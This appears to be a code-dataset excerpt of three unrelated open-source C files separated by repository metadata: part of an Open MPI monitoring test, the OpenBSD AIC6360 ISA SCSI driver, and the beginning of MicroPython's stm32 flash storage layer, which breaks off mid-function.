Designed by George Bosilca <bosilca@icl.utk.edu> Emmanuel Jeannot <emmanuel.jeannot@inria.fr> and Clément Foyer <clement.foyer@inria.fr>
Contact the authors for questions.
To options are available for this test, with/without MPI_Tools, and with/without RMA operations. The default mode is without MPI_Tools, and with RMA operations.
To enable the MPI_Tools use, add "--with-mpit" as an application parameter.
To disable the RMA operations testing, add "--without-rma" as an application parameter.
To be run as (without using MPI_Tool):
mpirun -n 4 --mca pml_monitoring_enable 2 --mca pml_monitoring_enable_output 3 --mca pml_monitoring_filename prof/output ./monitoring_test
with the results being, as an example:
output.1.prof
# POINT TO POINT
E 1 2 104 bytes 26 msgs sent 0,0,0,26,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
E 1 3 208 bytes 52 msgs sent 8,0,0,65,1,5,2,0,0,0,0,2,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
I 1 0 140 bytes 27 msgs sent
I 1 2 2068 bytes 1 msgs sent
I 1 3 2256 bytes 31 msgs sent
# OSC
S 1 0 0 bytes 1 msgs sent
R 1 0 40960 bytes 1 msgs sent
S 1 2 40960 bytes 1 msgs sent
# COLLECTIVES
C 1 0 140 bytes 27 msgs sent
C 1 2 140 bytes 27 msgs sent
C 1 3 140 bytes 27 msgs sent
D MPI COMMUNICATOR 4 DUP FROM 0 procs: 0,1,2,3
O2A 1 0 bytes 0 msgs sent
A2O 1 0 bytes 0 msgs sent
A2A 1 276 bytes 15 msgs sent
D MPI_COMM_WORLD procs: 0,1,2,3
O2A 1 0 bytes 0 msgs sent
A2O 1 0 bytes 0 msgs sent
A2A 1 96 bytes 9 msgs sent
D MPI COMMUNICATOR 5 SPLIT_TYPE FROM 4 procs: 0,1,2,3
O2A 1 0 bytes 0 msgs sent
A2O 1 0 bytes 0 msgs sent
A2A 1 48 bytes 3 msgs sent
D MPI COMMUNICATOR 3 SPLIT FROM 0 procs: 1,3
O2A 1 0 bytes 0 msgs sent
A2O 1 0 bytes 0 msgs sent
A2A 1 0 bytes 0 msgs sent
*/
#include "mpi.h"
#include <stdio.h>
#include <string.h>
static MPI_T_pvar_handle flush_handle;
static const char flush_pvar_name[] = "pml_monitoring_flush";
static const void *nullbuf = NULL;
static int flush_pvar_idx;
static int with_mpit = 0;
static int with_rma = 1;
int main(int argc, char *argv[])
{
int rank, size, n, to, from, tagno, MPIT_result, provided, count, world_rank;
MPI_T_pvar_session session;
MPI_Comm newcomm;
MPI_Comm comm = MPI_COMM_WORLD;
char filename[1024];
for (int arg_it = 1; argc > 1 && arg_it < argc; ++arg_it) {
if (0 == strcmp(argv[arg_it], "--with-mpit")) {
with_mpit = 1;
printf("enable MPIT support\n");
} else if (0 == strcmp(argv[arg_it], "--without-rma")) {
with_rma = 0;
printf("disable RMA testing\n");
}
}
/* first phase : make a token circulated in MPI_COMM_WORLD */
n = -1;
MPI_Init(NULL, NULL);
MPI_Comm_rank(MPI_COMM_WORLD, &world_rank);
MPI_Comm_size(MPI_COMM_WORLD, &size);
rank = world_rank;
to = (rank + 1) % size;
from = (rank - 1) % size;
tagno = 201;
if (with_mpit) {
MPIT_result = MPI_T_init_thread(MPI_THREAD_SINGLE, &provided);
if (MPIT_result != MPI_SUCCESS)
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
MPIT_result = MPI_T_pvar_get_index(flush_pvar_name, MPI_T_PVAR_CLASS_GENERIC,
&flush_pvar_idx);
if (MPIT_result != MPI_SUCCESS) {
printf("cannot find monitoring MPI_T \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
MPIT_result = MPI_T_pvar_session_create(&session);
if (MPIT_result != MPI_SUCCESS) {
printf("cannot create a session for \"%s\" pvar\n", flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
/* Allocating a new PVAR in a session will reset the counters */
MPIT_result = MPI_T_pvar_handle_alloc(session, flush_pvar_idx, &comm, &flush_handle,
&count);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to allocate handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
MPIT_result = MPI_T_pvar_start(session, flush_handle);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to start handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
}
if (rank == 0) {
n = 25;
MPI_Send(&n, 1, MPI_INT, to, tagno, MPI_COMM_WORLD);
}
while (1) {
MPI_Recv(&n, 1, MPI_INT, from, tagno, MPI_COMM_WORLD, MPI_STATUS_IGNORE);
if (rank == 0) {
n--;
tagno++;
}
MPI_Send(&n, 1, MPI_INT, to, tagno, MPI_COMM_WORLD);
if (rank != 0) {
n--;
tagno++;
}
if (n < 0) {
break;
}
}
if (with_mpit) {
/* Build one file per processes
Every thing that has been monitored by each
process since the last flush will be output in filename */
/*
Requires directory prof to be created.
Filename format should display the phase number
and the process rank for ease of parsing with
aggregate_profile.pl script
*/
sprintf(filename, "prof/phase_1");
if (MPI_SUCCESS != MPI_T_pvar_write(session, flush_handle, filename)) {
fprintf(stderr, "Process %d cannot save monitoring in %s.%d.prof\n", world_rank,
filename, world_rank);
}
/* Force the writing of the monitoring data */
MPIT_result = MPI_T_pvar_stop(session, flush_handle);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to stop handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
MPIT_result = MPI_T_pvar_start(session, flush_handle);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to start handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
/* Don't set a filename. If we stop the session before setting it, then no output file
* will be generated.
*/
if (MPI_SUCCESS != MPI_T_pvar_write(session, flush_handle, (void *) &nullbuf)) {
fprintf(stderr, "Process %d cannot save monitoring in %s\n", world_rank, filename);
}
}
/*
Second phase. Work with different communicators.
even ranks will circulate a token
while odd ranks will perform a all_to_all
*/
MPI_Comm_split(MPI_COMM_WORLD, rank % 2, rank, &newcomm);
if (rank % 2) { /*odd ranks (in COMM_WORD) circulate a token*/
MPI_Comm_rank(newcomm, &rank);
MPI_Comm_size(newcomm, &size);
if (size > 1) {
to = (rank + 1) % size;
from = (rank - 1) % size;
tagno = 201;
if (rank == 0) {
n = 50;
MPI_Send(&n, 1, MPI_INT, to, tagno, newcomm);
}
while (1) {
MPI_Recv(&n, 1, MPI_INT, from, tagno, newcomm, MPI_STATUS_IGNORE);
if (rank == 0) {
n--;
tagno++;
}
MPI_Send(&n, 1, MPI_INT, to, tagno, newcomm);
if (rank != 0) {
n--;
tagno++;
}
if (n < 0) {
break;
}
}
}
} else { /*even ranks (in COMM_WORD) will perform a all_to_all and a barrier*/
int send_buff[10240];
int recv_buff[10240];
MPI_Comm newcomm2;
MPI_Comm_rank(newcomm, &rank);
MPI_Comm_size(newcomm, &size);
MPI_Alltoall(send_buff, 10240 / size, MPI_INT, recv_buff, 10240 / size, MPI_INT, newcomm);
MPI_Comm_split(newcomm, rank % 2, rank, &newcomm2);
MPI_Barrier(newcomm2);
MPI_Comm_free(&newcomm2);
}
if (with_mpit) {
/* Build one file per processes
Every thing that has been monitored by each
process since the last flush will be output in filename */
/*
Requires directory prof to be created.
Filename format should display the phase number
and the process rank for ease of parsing with
aggregate_profile.pl script
*/
sprintf(filename, "prof/phase_2");
if (MPI_SUCCESS != MPI_T_pvar_write(session, flush_handle, filename)) {
fprintf(stderr, "Process %d cannot save monitoring in %s.%d.prof\n", world_rank,
filename, world_rank);
}
/* Force the writing of the monitoring data */
MPIT_result = MPI_T_pvar_stop(session, flush_handle);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to stop handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
MPIT_result = MPI_T_pvar_start(session, flush_handle);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to start handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
/* Don't set a filename. If we stop the session before setting it, then no output
* will be generated.
*/
if (MPI_SUCCESS != MPI_T_pvar_write(session, flush_handle, (void *) &nullbuf)) {
fprintf(stderr, "Process %d cannot save monitoring in %s\n", world_rank, filename);
}
}
if (with_rma) {
MPI_Win win;
int rs_buff[10240];
int win_buff[10240];
MPI_Comm_rank(MPI_COMM_WORLD, &rank);
MPI_Comm_size(MPI_COMM_WORLD, &size);
to = (rank + 1) % size;
from = (rank + size - 1) % size;
for (int v = 0; v < 10240; ++v)
rs_buff[v] = win_buff[v] = rank;
MPI_Win_create(win_buff, 10240 * sizeof(int), sizeof(int), MPI_INFO_NULL, MPI_COMM_WORLD,
&win);
MPI_Win_fence(MPI_MODE_NOPRECEDE, win);
if (rank % 2) {
MPI_Win_fence(MPI_MODE_NOSTORE | MPI_MODE_NOPUT, win);
MPI_Get(rs_buff, 10240, MPI_INT, from, 0, 10240, MPI_INT, win);
} else {
MPI_Put(rs_buff, 10240, MPI_INT, to, 0, 10240, MPI_INT, win);
MPI_Win_fence(MPI_MODE_NOSTORE | MPI_MODE_NOPUT, win);
}
MPI_Win_fence(MPI_MODE_NOSUCCEED, win);
for (int v = 0; v < 10240; ++v)
if (rs_buff[v] != win_buff[v]
&& ((rank % 2 && rs_buff[v] != from) || (!(rank % 2) && rs_buff[v] != rank))) {
printf("Error on checking exchanged values: %s_buff[%d] == %d instead of %d\n",
rank % 2 ? "rs" : "win", v, rs_buff[v], rank % 2 ? from : rank);
MPI_Abort(MPI_COMM_WORLD, -1);
}
MPI_Group world_group, newcomm_group, distant_group;
MPI_Comm_group(MPI_COMM_WORLD, &world_group);
MPI_Comm_group(newcomm, &newcomm_group);
MPI_Group_difference(world_group, newcomm_group, &distant_group);
if (rank % 2) {
MPI_Win_post(distant_group, 0, win);
MPI_Win_wait(win);
/* Check received values */
for (int v = 0; v < 10240; ++v)
if (from != win_buff[v]) {
printf("Error on checking exchanged values: win_buff[%d] == %d instead of %d\n",
v, win_buff[v], from);
MPI_Abort(MPI_COMM_WORLD, -1);
}
} else {
MPI_Win_start(distant_group, 0, win);
MPI_Put(rs_buff, 10240, MPI_INT, to, 0, 10240, MPI_INT, win);
MPI_Win_complete(win);
}
MPI_Group_free(&world_group);
MPI_Group_free(&newcomm_group);
MPI_Group_free(&distant_group);
MPI_Barrier(MPI_COMM_WORLD);
for (int v = 0; v < 10240; ++v)
rs_buff[v] = rank;
MPI_Win_lock(MPI_LOCK_EXCLUSIVE, to, 0, win);
MPI_Put(rs_buff, 10240, MPI_INT, to, 0, 10240, MPI_INT, win);
MPI_Win_unlock(to, win);
MPI_Barrier(MPI_COMM_WORLD);
/* Check received values */
for (int v = 0; v < 10240; ++v)
if (from != win_buff[v]) {
printf("Error on checking exchanged values: win_buff[%d] == %d instead of %d\n", v,
win_buff[v], from);
MPI_Abort(MPI_COMM_WORLD, -1);
}
MPI_Win_free(&win);
}
if (with_mpit) {
/* the filename for flushing monitoring now uses 3 as phase number! */
sprintf(filename, "prof/phase_3");
if (MPI_SUCCESS != MPI_T_pvar_write(session, flush_handle, filename)) {
fprintf(stderr, "Process %d cannot save monitoring in %s.%d.prof\n", world_rank,
filename, world_rank);
}
MPIT_result = MPI_T_pvar_stop(session, flush_handle);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to stop handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
MPIT_result = MPI_T_pvar_handle_free(session, &flush_handle);
if (MPIT_result != MPI_SUCCESS) {
printf("failed to free handle on \"%s\" pvar, check that you have monitoring pml\n",
flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
MPIT_result = MPI_T_pvar_session_free(&session);
if (MPIT_result != MPI_SUCCESS) {
printf("cannot close a session for \"%s\" pvar\n", flush_pvar_name);
MPI_Abort(MPI_COMM_WORLD, MPIT_result);
}
(void) MPI_T_finalize();
}
MPI_Comm_free(&newcomm);
/* Now, in MPI_Finalize(), the pml_monitoring library outputs, in
STDERR, the aggregated recorded monitoring of all the phases*/
MPI_Finalize();
return 0;
}
|
abc65bf92c11bf1eb4c1a0a743adbcbbdfb092f7
|
9ceacf33fd96913cac7ef15492c126d96cae6911
|
/sys/dev/isa/aic_isa.c
|
a6b7942b49b869d8422405a612361785481b7d18
|
[] |
no_license
|
openbsd/src
|
ab97ef834fd2d5a7f6729814665e9782b586c130
|
9e79f3a0ebd11a25b4bff61e900cb6de9e7795e9
|
refs/heads/master
| 2023-09-02T18:54:56.624627
| 2023-09-02T15:16:12
| 2023-09-02T15:16:12
| 66,966,208
| 3,394
| 1,235
| null | 2023-08-08T02:42:25
| 2016-08-30T18:18:25
|
C
|
UTF-8
|
C
| false
| false
| 4,608
|
c
|
aic_isa.c
|
/* $OpenBSD: aic_isa.c,v 1.10 2022/04/06 18:59:28 naddy Exp $ */
/* $NetBSD: aic6360.c,v 1.52 1996/12/10 21:27:51 thorpej Exp $ */
/*
* Copyright (c) 1994, 1995, 1996 Charles Hannum. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by Charles M. Hannum.
* 4. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* Copyright (c) 1994 Jarle Greipsland
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
* INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
* (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
* STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
* ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
* POSSIBILITY OF SUCH DAMAGE.
*/
/*
* Acknowledgements: Many of the algorithms used in this driver are
* inspired by the work of Julian Elischer (julian@tfs.com) and
* Charles Hannum (mycroft@duality.gnu.ai.mit.edu). Thanks a million!
*/
#include <sys/param.h>
#include <sys/systm.h>
#include <sys/kernel.h>
#include <sys/errno.h>
#include <sys/ioctl.h>
#include <sys/device.h>
#include <sys/buf.h>
#include <sys/queue.h>
#include <machine/bus.h>
#include <machine/intr.h>
#include <scsi/scsi_all.h>
#include <scsi/scsi_message.h>
#include <scsi/scsiconf.h>
#include <dev/isa/isavar.h>
#include <dev/ic/aic6360reg.h>
#include <dev/ic/aic6360var.h>
int aic_isa_probe(struct device *, void *, void *);
void aic_isa_attach(struct device *, struct device *, void *);
const struct cfattach aic_isa_ca = {
sizeof(struct aic_softc), aic_isa_probe, aic_isa_attach
};
/*
* INITIALIZATION ROUTINES (probe, attach ++)
*/
/*
* aicprobe: probe for AIC6360 SCSI-controller
* returns non-zero value if a controller is found.
*/
int
aic_isa_probe(struct device *parent, void *match, void *aux)
{
struct isa_attach_args *ia = aux;
bus_space_tag_t iot = ia->ia_iot;
bus_space_handle_t ioh;
int rv;
if (bus_space_map(iot, ia->ia_iobase, AIC_NPORTS, 0, &ioh))
return (0);
AIC_TRACE(("aic: probing for aic-chip at port 0x%x\n", ia->ia_iobase));
rv = aic_find(iot, ioh);
bus_space_unmap(iot, ioh, AIC_NPORTS);
if (rv) {
ia->ia_msize = 0;
ia->ia_iosize = AIC_NPORTS;
}
return (rv);
}
/*
* Attach the AIC6360, fill out some high and low level data structures
*/
void
aic_isa_attach(struct device *parent, struct device *self, void *aux)
{
struct isa_attach_args *ia = aux;
bus_space_tag_t iot = ia->ia_iot;
bus_space_handle_t ioh;
struct aic_softc *sc = (void *)self;
if (bus_space_map(iot, ia->ia_iobase, AIC_NPORTS, 0, &ioh))
panic("%s: can't map i/o-ports", sc->sc_dev.dv_xname);
sc->sc_iot = iot;
sc->sc_ioh = ioh;
printf("\n");
sc->sc_ih = isa_intr_establish(ia->ia_ic, ia->ia_irq, IST_EDGE,
IPL_BIO, aicintr, sc, sc->sc_dev.dv_xname);
aicattach(sc);
}
|
b802ed4af9446b08e60cdbe0587c4471bb8c2f17
|
e910318d01528d82040507a49eeeb8dade45b31f
|
/ports/stm32/storage.c
|
a71c4a3ea77911e8e907a59c3455b53b4ab5ed42
|
[
"MIT"
] |
permissive
|
pfalcon/pycopy
|
e844480a5e5cd463530328889daed2ba87552b8a
|
3ac90ae9c3c6bbebfba9cada2d37025e35c62796
|
refs/heads/pfalcon
| 2023-08-30T09:39:52.290147
| 2022-09-08T16:42:38
| 2022-09-08T16:42:38
| 15,507,576
| 753
| 71
|
MIT
| 2021-05-08T04:59:21
| 2013-12-29T11:38:47
|
C
|
UTF-8
|
C
| false
| false
| 18,058
|
c
|
storage.c
|
/*
* This file is part of the MicroPython project, http://micropython.org/
*
* The MIT License (MIT)
*
* Copyright (c) 2013-2018 Damien P. George
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*/
#include <stdint.h>
#include <string.h>
#include "py/runtime.h"
#include "py/mperrno.h"
#include "extmod/vfs_fat.h"
#include "systick.h"
#include "led.h"
#include "storage.h"
#include "irq.h"
#if MICROPY_HW_ENABLE_STORAGE
#define STORAGE_SYSTICK_MASK (0x1ff) // 512ms
#define STORAGE_IDLE_TICK(tick) (((tick) & ~(SYSTICK_DISPATCH_NUM_SLOTS - 1) & STORAGE_SYSTICK_MASK) == 0)
#if defined(MICROPY_HW_BDEV2_IOCTL)
#define FLASH_PART2_START_BLOCK (FLASH_PART1_START_BLOCK + MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0))
#endif
static bool storage_is_initialised = false;
static void storage_systick_callback(uint32_t ticks_ms);
void storage_init(void) {
if (!storage_is_initialised) {
storage_is_initialised = true;
systick_enable_dispatch(SYSTICK_DISPATCH_STORAGE, storage_systick_callback);
MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_INIT, 0);
#if defined(MICROPY_HW_BDEV2_IOCTL)
MICROPY_HW_BDEV2_IOCTL(BDEV_IOCTL_INIT, 0);
#endif
// Enable the flash IRQ, which is used to also call our storage IRQ handler
// It must go at the same priority as USB (see comment in irq.h).
NVIC_SetPriority(FLASH_IRQn, IRQ_PRI_FLASH);
HAL_NVIC_EnableIRQ(FLASH_IRQn);
}
}
uint32_t storage_get_block_size(void) {
return FLASH_BLOCK_SIZE;
}
uint32_t storage_get_block_count(void) {
#if defined(MICROPY_HW_BDEV2_IOCTL)
return FLASH_PART2_START_BLOCK + MICROPY_HW_BDEV2_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0);
#else
return FLASH_PART1_START_BLOCK + MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0);
#endif
}
static void storage_systick_callback(uint32_t ticks_ms) {
if (STORAGE_IDLE_TICK(ticks_ms)) {
// Trigger a FLASH IRQ to execute at a lower priority
NVIC->STIR = FLASH_IRQn;
}
}
void FLASH_IRQHandler(void) {
IRQ_ENTER(FLASH_IRQn);
MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_IRQ_HANDLER, 0);
#if defined(MICROPY_HW_BDEV2_IOCTL)
MICROPY_HW_BDEV2_IOCTL(BDEV_IOCTL_IRQ_HANDLER, 0);
#endif
IRQ_EXIT(FLASH_IRQn);
}
void storage_flush(void) {
MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_SYNC, 0);
#if defined(MICROPY_HW_BDEV2_IOCTL)
MICROPY_HW_BDEV2_IOCTL(BDEV_IOCTL_SYNC, 0);
#endif
}
static void build_partition(uint8_t *buf, int boot, int type, uint32_t start_block, uint32_t num_blocks) {
buf[0] = boot;
if (num_blocks == 0) {
buf[1] = 0;
buf[2] = 0;
buf[3] = 0;
} else {
buf[1] = 0xff;
buf[2] = 0xff;
buf[3] = 0xff;
}
buf[4] = type;
if (num_blocks == 0) {
buf[5] = 0;
buf[6] = 0;
buf[7] = 0;
} else {
buf[5] = 0xff;
buf[6] = 0xff;
buf[7] = 0xff;
}
buf[8] = start_block;
buf[9] = start_block >> 8;
buf[10] = start_block >> 16;
buf[11] = start_block >> 24;
buf[12] = num_blocks;
buf[13] = num_blocks >> 8;
buf[14] = num_blocks >> 16;
buf[15] = num_blocks >> 24;
}
bool storage_read_block(uint8_t *dest, uint32_t block) {
// printf("RD %u\n", block);
if (block == 0) {
// fake the MBR so we can decide on our own partition table
for (int i = 0; i < 446; i++) {
dest[i] = 0;
}
build_partition(dest + 446, 0, 0x01 /* FAT12 */, FLASH_PART1_START_BLOCK, MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0));
#if defined(MICROPY_HW_BDEV2_IOCTL)
build_partition(dest + 462, 0, 0x01 /* FAT12 */, FLASH_PART2_START_BLOCK, MICROPY_HW_BDEV2_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0));
#else
build_partition(dest + 462, 0, 0, 0, 0);
#endif
build_partition(dest + 478, 0, 0, 0, 0);
build_partition(dest + 494, 0, 0, 0, 0);
dest[510] = 0x55;
dest[511] = 0xaa;
return true;
#if defined(MICROPY_HW_BDEV_READBLOCK)
} else if (FLASH_PART1_START_BLOCK <= block && block < FLASH_PART1_START_BLOCK + MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0)) {
return MICROPY_HW_BDEV_READBLOCK(dest, block - FLASH_PART1_START_BLOCK);
#endif
} else {
return false;
}
}
bool storage_write_block(const uint8_t *src, uint32_t block) {
// printf("WR %u\n", block);
if (block == 0) {
// can't write MBR, but pretend we did
return true;
#if defined(MICROPY_HW_BDEV_WRITEBLOCK)
} else if (FLASH_PART1_START_BLOCK <= block && block < FLASH_PART1_START_BLOCK + MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0)) {
return MICROPY_HW_BDEV_WRITEBLOCK(src, block - FLASH_PART1_START_BLOCK);
#endif
} else {
return false;
}
}
int storage_read_blocks(uint8_t *dest, uint32_t block_num, uint32_t num_blocks) {
#if defined(MICROPY_HW_BDEV_READBLOCKS)
if (FLASH_PART1_START_BLOCK <= block_num && block_num + num_blocks <= FLASH_PART1_START_BLOCK + MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0)) {
return MICROPY_HW_BDEV_READBLOCKS(dest, block_num - FLASH_PART1_START_BLOCK, num_blocks);
}
#endif
#if defined(MICROPY_HW_BDEV2_READBLOCKS)
if (FLASH_PART2_START_BLOCK <= block_num && block_num + num_blocks <= FLASH_PART2_START_BLOCK + MICROPY_HW_BDEV2_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0)) {
return MICROPY_HW_BDEV2_READBLOCKS(dest, block_num - FLASH_PART2_START_BLOCK, num_blocks);
}
#endif
for (size_t i = 0; i < num_blocks; i++) {
if (!storage_read_block(dest + i * FLASH_BLOCK_SIZE, block_num + i)) {
return -MP_EIO; // error
}
}
return 0; // success
}
int storage_write_blocks(const uint8_t *src, uint32_t block_num, uint32_t num_blocks) {
#if defined(MICROPY_HW_BDEV_WRITEBLOCKS)
if (FLASH_PART1_START_BLOCK <= block_num && block_num + num_blocks <= FLASH_PART1_START_BLOCK + MICROPY_HW_BDEV_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0)) {
return MICROPY_HW_BDEV_WRITEBLOCKS(src, block_num - FLASH_PART1_START_BLOCK, num_blocks);
}
#endif
#if defined(MICROPY_HW_BDEV2_WRITEBLOCKS)
if (FLASH_PART2_START_BLOCK <= block_num && block_num + num_blocks <= FLASH_PART2_START_BLOCK + MICROPY_HW_BDEV2_IOCTL(BDEV_IOCTL_NUM_BLOCKS, 0)) {
return MICROPY_HW_BDEV2_WRITEBLOCKS(src, block_num - FLASH_PART2_START_BLOCK, num_blocks);
}
#endif
for (size_t i = 0; i < num_blocks; i++) {
if (!storage_write_block(src + i * FLASH_BLOCK_SIZE, block_num + i)) {
return -MP_EIO; // error
}
}
return 0; // success
}
/******************************************************************************/
// MicroPython bindings
//
// Expose the flash as an object with the block protocol.
#ifdef MICROPY_HW_BDEV_SPIFLASH_EXTENDED
// Board defined an external SPI flash for use with extended block protocol
#define SPIFLASH (MICROPY_HW_BDEV_SPIFLASH_EXTENDED)
#define PYB_FLASH_NATIVE_BLOCK_SIZE (MP_SPIFLASH_ERASE_BLOCK_SIZE)
#define MICROPY_HW_BDEV_READBLOCKS_EXT(dest, bl, off, len) (spi_bdev_readblocks_raw(SPIFLASH, (dest), (bl), (off), (len)))
#define MICROPY_HW_BDEV_WRITEBLOCKS_EXT(dest, bl, off, len) (spi_bdev_writeblocks_raw(SPIFLASH, (dest), (bl), (off), (len)))
#elif (MICROPY_VFS_LFS1 || MICROPY_VFS_LFS2) && MICROPY_HW_ENABLE_INTERNAL_FLASH_STORAGE
// Board uses littlefs and internal flash, so enable extended block protocol on internal flash
#define PYB_FLASH_NATIVE_BLOCK_SIZE (FLASH_BLOCK_SIZE)
#define MICROPY_HW_BDEV_READBLOCKS_EXT(dest, bl, off, len) (flash_bdev_readblocks_ext((dest), (bl), (off), (len)))
#define MICROPY_HW_BDEV_WRITEBLOCKS_EXT(dest, bl, off, len) (flash_bdev_writeblocks_ext((dest), (bl), (off), (len)))
#endif
#ifndef PYB_FLASH_NATIVE_BLOCK_SIZE
#define PYB_FLASH_NATIVE_BLOCK_SIZE (FLASH_BLOCK_SIZE)
#endif
#if defined(MICROPY_HW_BDEV_READBLOCKS_EXT)
// Size of blocks is PYB_FLASH_NATIVE_BLOCK_SIZE
int storage_readblocks_ext(uint8_t *dest, uint32_t block, uint32_t offset, uint32_t len) {
return MICROPY_HW_BDEV_READBLOCKS_EXT(dest, block, offset, len);
}
#endif
typedef struct _pyb_flash_obj_t {
mp_obj_base_t base;
uint32_t start; // in bytes
uint32_t len; // in bytes
#if defined(SPIFLASH)
bool use_native_block_size;
#endif
} pyb_flash_obj_t;
// This Flash object represents the entire available flash, with emulated partition table at start
const pyb_flash_obj_t pyb_flash_obj = {
{ &pyb_flash_type },
-(FLASH_PART1_START_BLOCK * FLASH_BLOCK_SIZE), // to offset FLASH_PART1_START_BLOCK
0, // actual size handled in ioctl, MP_BLOCKDEV_IOCTL_BLOCK_COUNT case
};
STATIC void pyb_flash_print(const mp_print_t *print, mp_obj_t self_in, mp_print_kind_t kind) {
pyb_flash_obj_t *self = MP_OBJ_TO_PTR(self_in);
if (self == &pyb_flash_obj) {
mp_printf(print, "Flash()");
} else {
mp_printf(print, "Flash(start=%u, len=%u)", self->start, self->len);
}
}
STATIC mp_obj_t pyb_flash_make_new(const mp_obj_type_t *type, size_t n_args, size_t n_kw, const mp_obj_t *all_args) {
// Parse arguments
enum { ARG_start, ARG_len };
static const mp_arg_t allowed_args[] = {
{ MP_QSTR_start, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = -1} },
{ MP_QSTR_len, MP_ARG_KW_ONLY | MP_ARG_INT, {.u_int = -1} },
};
mp_arg_val_t args[MP_ARRAY_SIZE(allowed_args)];
